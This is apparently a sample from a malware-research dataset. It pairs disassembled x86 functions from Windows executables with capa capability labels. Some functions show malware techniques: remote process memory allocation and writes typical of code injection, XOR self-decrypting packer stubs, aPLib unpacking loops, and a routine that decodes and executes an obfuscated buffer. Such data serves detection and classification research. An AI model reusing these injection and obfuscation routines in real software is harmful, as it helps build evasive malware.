joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412bcc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
mov edx, dword [0x41264c]
call fcn.0040ad0c
xor eax, eax
push ebp
push 0x412cdd
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0x1c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
je 0x412c65
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x412c71
cmp esi, 0x30000000
jbe 0x412c1a
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, ebx
mov eax, dword [ebp - 0x18]
call fcn.004131fc
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x412cc1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 0x24], edx
lea edx, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x10]
push edx
push eax
push ebx
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x28]
mov edx, 0x412ba4
mov eax, dword [ebp - 0x18]
call fcn.00412a44
test eax, eax
je 0x412cc1
mov byte [ebp - 0x1d], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412ce4
lea eax, [ebp - 0x14]
mov edx, dword [0x41264c]
call fcn.0040b0c0
ret

Function at 0x412fb0
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x412fbf
or edx, 0x200
test eax, 0x20000000
je 0x412ff3
test eax, 0x40000000
je 0x412fde
test eax, 0x80000000
je 0x412fd9
or edx, 0x40
jmp 0x41301a
or edx, 0x20
jmp 0x41301a
test eax, 0x80000000
je 0x412fed
or edx, 0x80
jmp 0x41301a
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x41300b
test eax, 0x80000000
je 0x413006
or edx, 4
jmp 0x41301a
or edx, 2
jmp 0x41301a
test eax, 0x80000000
je 0x413017
or edx, 8
jmp 0x41301a
or edx, 1
mov eax, edx
ret

Function at 0x420ab0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x420b09
test eax, edx
je 0x420b0c
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x420ac7
movzx eax, word [eax]
sub eax, ecx
jmp 0x420aee
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x420aef
add ecx, 4
js 0x420adf
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x420aec
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x420aee
xor eax, eax
ret
test eax, eax
je 0x420b18
test edx, edx
jne 0x420ab8
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x421a74
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [esi]
add eax, edi
push eax
push ebx
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x421aa1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x421b74
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.0040a6d4
mov edi, eax
push edi
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x421bde
test ah, 4
je 0x421bd7
test bl, bl
jne 0x421b9c
mov al, 1
jmp 0x421c05
test al, 0x10
je 0x421ba4
xor eax, eax
jmp 0x421c05
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x421bc8
push eax
call sub.kernel32.dll_CloseHandle
mov al, 1
jmp 0x421c05
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0x20
sete al
jmp 0x421c05
test al, 0x10
sete al
jmp 0x421c05
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x421bff
cmp ebx, 3
je 0x421bff
cmp ebx, 0x7b
je 0x421bff
mov eax, esi
call fcn.00421b34
test al, al
jne 0x421c03
xor eax, eax
jmp 0x421c05
mov al, 1
pop edi
pop esi
pop ebx
ret

Function at 0x421c0c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov byte [esp], dl
mov edi, eax
xor ebx, ebx
mov eax, edi
call fcn.0040a6d4
mov ebp, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x421cb3
test esi, 0x400
jne 0x421c48
test esi, 0x10
setne bl
jmp 0x421ce3
cmp byte [esp], 0
je 0x421c7c
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x421ce3
push eax
call sub.kernel32.dll_CloseHandle
test esi, 0x10
setne bl
jmp 0x421ce3
test esi, 0x10
je 0x421c88
mov bl, 1
jmp 0x421ce3
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x421caf
push eax
call sub.kernel32.dll_CloseHandle
xor ebx, ebx
jmp 0x421ce3
mov bl, 1
jmp 0x421ce3
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x421cdd
cmp eax, 3
je 0x421cdd
cmp eax, 0xa1
je 0x421cdd
cmp eax, 0x7b
je 0x421cdd
cmp eax, 0x35
je 0x421cdd
cmp eax, 0x15
je 0x421cdd
cmp eax, 0x43
jne 0x421ce1
xor ebx, ebx
jmp 0x421ce3
mov bl, 1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x425984
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4259bd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00409dc0
jmp 0x4259c6
mov eax, ebx
mov edx, esi
call fcn.0040a018
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4259d0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4259f2
movzx eax, word [esp]
jmp 0x4259f4
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x426cdc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x426e01
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.00426ae4
mov esi, eax
mov eax, dword [0x4fafb8]
cmp byte [eax], 0
je 0x426da9
mov eax, dword [0x4fae04]
call fcn.00407714
call fcn.00406fa0
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x426cac]
call fcn.0040c6c4
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x426e1c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x426de5
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4fadcc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4ff634]
call fcn.0040cab4
push eax
call sub.user32.dll_LoadStringW
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426e08
lea eax, [ebp - 4]
mov edx, dword [0x426cac]
call fcn.0040c7e8
ret
Function at 0x427f4c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42804c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040a060
lea eax, [ebp - 4]
call fcn.0040a17c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a6d4
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x428036
mov eax, ebx
call fcn.00406e2c
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x42802f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a6d4
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x428019
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x428060
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x428019
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
shr eax, 0x10
movzx eax, ax
mov dword [esi], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movzx eax, ax
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428036
mov eax, dword [ebp - 0x10]
call fcn.00406e48
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428053
lea eax, [ebp - 4]
call fcn.00409c38
ret

Function at 0x42909c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040a108
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040f7dc
mov edi, eax
cmp edi, 0x104
jbe 0x429047
mov eax, edi
add eax, eax
call fcn.00406e2c
mov esi, eax
jmp 0x429049
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040f7dc
push esi
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x429082
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x42906c
mov eax, esp
cmp esi, eax
je 0x42908f
mov eax, esi
call fcn.00406e48
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x4290c8
cmp bl, 0
je 0x4290c4
cmp bl, 0x41
jl 0x4290bf
cmp bl, 0x5a
jg 0x4290bf
or bl, 0x20
xor al, bl
inc esi
jmp 0x4290a3
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x429008

Function at 0x4299c0
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.0040a774
add esp, 0x800
pop ebx
ret
Function at 0x429f40
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff800
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.00409c38
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.0040a6d4
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableW
mov ebx, eax
cmp ebx, 0x400
jge 0x429f85
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.00409dc0
jmp 0x429f9e
mov edx, ebx
dec edx
mov eax, esi
call fcn.0040a84c
push ebx
mov eax, dword [esi]
call fcn.0040a6d4
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableW
add esp, 0x800
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x48833c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x488344
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4c14b8
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
or dl, byte [ebx + 0xd]
je 0x4c14fb
cmp byte [ebx + 0x11], 0
jne 0x4c14fb
cmp byte [ebx + 0x24], 0
jne 0x4c14fb
mov byte [ebx + 0xf], 0
mov byte [ebx + 0xd], 0
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x4c1512
mov ecx, dword [0x4faf74]
mov dl, 1
mov eax, dword [0x496238]
call fcn.00426f60
call fcn.004092b4
pop ebx
ret
mov ecx, dword [0x4faf74]
mov dl, 1
mov eax, dword [0x496238]
call fcn.00426f60
call fcn.004092b4
pop ebx
ret

Function at 0x4c1d68
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4c1db6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004c1364
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4c1dcf
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4c1dd8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004c1364
dec esi
jne 0x4c1dfa
mov byte [ebx + 0xf], 0
pop esi
pop ebx
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x432006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x57c8673c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x7c4f15d5
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0xde4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00de41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xde407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde406a
add dl, dl
jne 0xde4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde40dc
xor eax, eax
add dl, dl
jne 0xde4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde417d
add dl, dl
jne 0xde40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xde40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xde4075
mov eax, 1
add dl, dl
jne 0xde40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde40e1
sub eax, ebx
mov ebx, 1
jne 0xde4128
mov ecx, 1
add dl, dl
jne 0xde410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xde4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xde413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xde414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde4136
cmp eax, 0x7d00
jae 0xde416d
cmp eax, 0x500
jb 0xde4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde4075
cmp eax, 0x7f
ja 0xde4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xde419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xde4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0xdc7e58
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdc7e62
pushal
call 0xdc7e68
pop ebp
sub ebp, 0x10
sub ebp, 0x9c7e58
jmp 0xdc7e7e
mov eax, 0x9c7e58
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ce
mov edx, 0xbb1becfb
xor byte [eax], dl
inc eax
dec ecx
jne 0xdc7e95
jmp 0xdc7ea8
jo 0xdc7ee0
jo 0xdc7f1e
invalid
cli
xlatb
fist word [ebx + 0x28696b95]
adc edi, esi
sti
sti
sti
adc dl, ch
sti
sti
sti
scasb al, byte es:[edi]
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
jo 0xdc7f75
sti
sti
sti
jo 0xdc7f6b
idiv ebx
sti
sti
jo 0xdc7f79
jmp 0xdc7f00
idiv ebx
jo 0xdc7f99
invalid
sti
xchg ebx, eax
arpl word [eax - 0x7f], cx
sti
cli
xlatb
fbstp tbyte [esi - 0x61]
fild word [edi]
jb 0xdc7f31
fist word [ebx]
invalid
enter 0x7a32, 9
dec ecx
mov bl, ah
mov dl, 0x7a
or dword [ecx - 0x78], ecx
jecxz 0xdc7f2b
dec ecx
mov bl, ah
mov dl, 0xc8
sub dword [eax + 0x13], edi
enter 0x7829, 0x13
invalid
add byte [edx], dl
hlt
Function at 0xcc6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00cc61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xcc607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcc606a
add dl, dl
jne 0xcc6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcc60dc
xor eax, eax
add dl, dl
jne 0xcc6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcc617d
add dl, dl
jne 0xcc60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcc60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcc60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcc60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xcc60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xcc6075
mov eax, 1
add dl, dl
jne 0xcc60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcc60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcc60e1
sub eax, ebx
mov ebx, 1
jne 0xcc6128
mov ecx, 1
add dl, dl
jne 0xcc610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcc6119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcc6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcc6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xcc613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcc614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcc6136
cmp eax, 0x7d00
jae 0xcc616d
cmp eax, 0x500
jb 0xcc6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcc6075
cmp eax, 0x7f
ja 0xcc6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcc6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xcc619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xcc6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x310], str.hidden.tmp
mov eax, 0x7c340bff
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push dword [ebp - 0x310]
call eax
mov dword [ebp - 0x318], eax
xor eax, eax
cmp dword [ebp - 0x318], 0xffffffff
setne al
mov dword [ebp - 0x310], eax
test eax, eax
je 0x40106b
mov eax, 0x7c340bff
push dword [ebp - 0x310]
call eax
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x310], 0
cmp dword [ebp - 0x310], 0xf4240
jge 0x4010a6
mov eax, dword [ebp - 0x310]
mov eax, dword [ebp - 0x310]
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xf4240
jl 0x401081
mov eax, 0x7c340bff
push 0x1e
call eax
lea eax, [ebp - 0xec]
push 0xe8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x402120]
add esp, 0xc
xorps xmm0, xmmword [0x402110]
mov eax, 0x10
mov dword [ebp - 0xf4], 0x90909090
mov dword [ebp - 0xf0], 0x90909090
movups xmmword [ebp - 0x104], xmm0
xor byte [ebp + eax - 0x104], 0x9c
inc eax
cmp eax, 0x18
jb 0x4010f3
push 0x1e8
lea eax, [ebp - 0x2ec]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movq xmm0, qword [ebp - 0xf4]
add esp, 0xc
movups xmm1, xmmword [ebp - 0x104]
mov eax, 0x10
movq qword [ebp - 0x2f4], xmm0
movaps xmm0, xmmword [0x402120]
xorps xmm0, xmm1
movups xmmword [ebp - 0x304], xmm1
movups xmmword [ebp - 0x304], xmm0
nop dword [eax + eax]
xor byte [ebp + eax - 0x304], 0x9c
inc eax
cmp eax, 0x18
jb 0x401150
lea eax, [ebp - 0x304]
call eax
mov eax, 0x7c340bff
push 0xfffffffffffffff6
call eax
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x310], eax
test eax, eax
je 0x40123e
lea eax, [ebp - 0x320]
mov dword [ebp - 0x314], eax
mov eax, 0x7c340bff
push dword [ebp - 0x314]
push dword [ebp - 0x310]
call eax
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x320]
and eax, 0xffffffe7
mov dword [ebp - 0x314], eax
mov eax, 0x7c340bff
push dword [ebp - 0x314]
push dword [ebp - 0x310]
call eax
mov dword [ebp - 0x32c], eax
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x314], eax
lea eax, [ebp - 0x305]
mov dword [ebp - 0x324], eax
nop
mov eax, 0x7c340bff
push 0
push dword [ebp - 0x314]
push 1
push dword [ebp - 0x324]
push dword [ebp - 0x310]
call eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
je 0x40123e
mov al, byte [ebp - 0x305]
xor al, 0x9c
mov byte [ebp - 0x305], al
cmp al, 0x1b
jne 0x4011f0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401251
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.00401251
mov esp, ebp
pop ebp
ret

Function at 0x401a5c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
